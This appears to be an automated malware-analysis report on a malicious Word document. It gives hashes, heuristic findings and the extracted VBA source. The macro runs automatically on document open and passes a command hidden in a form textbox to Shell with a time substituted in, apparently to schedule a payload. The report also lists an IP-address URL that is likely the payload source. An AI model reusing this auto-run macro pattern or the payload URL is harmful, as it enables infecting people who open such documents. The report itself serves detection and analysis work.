Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 34ef6ca151453369…

MALICIOUS

Office (OLE)

98.0 KB Created: 2019-06-14 04:14:00 Authoring application: Microsoft Office Word First seen: 2021-04-10
MD5: 53430b75917a30dd7fb0daed77b2c40e SHA-1: f509806bee033fbfacdb4509a2d61e21caa1548e SHA-256: 34ef6ca151453369a321fee1a17450808b40bd35b6fa16de79742d88e382c31b
90 Risk Score

Heuristics 4

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Replace(UserForm1.TextBox1.Text, "22:22", time)
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub document_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://95.216.189.14/m4 In document text (OLE body)
    • http://tl.symcd.com0&In document text (OLE body)
    • http://t2.symcb.com0In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://tl.symcb.com/tl.crl0In document text (OLE body)
    • https://www.thawte.com/cps0/In document text (OLE body)
    • https://www.thawte.com/repository0WIn document text (OLE body)
    • http://tl.symcb.com/tl.crt0In document text (OLE body)
    • http://t1.symcb.com/ThawtePCA.crl0In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas🔏 SignedVBA project digital signature
Covers VBA source only — not the compiled p-code. A digital signature does not by itself mean the macro is safe.		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 800 bytes
SHA-256: 8a7b7934d2744e35744fdc0a2176a8eabd7fa0610e7f9b09de5f14e760c42248
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub document_open()
Dim time
time = Format(Now + TimeSerial(0, 0, 17), "hh:mm")


Shell Replace(UserForm1.TextBox1.Text, "22:22", time)
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{CB9C86FE-EA9E-44D9-ACA3-234A1886245D}{42482B17-7581-406D-AD6F-20833BD36140}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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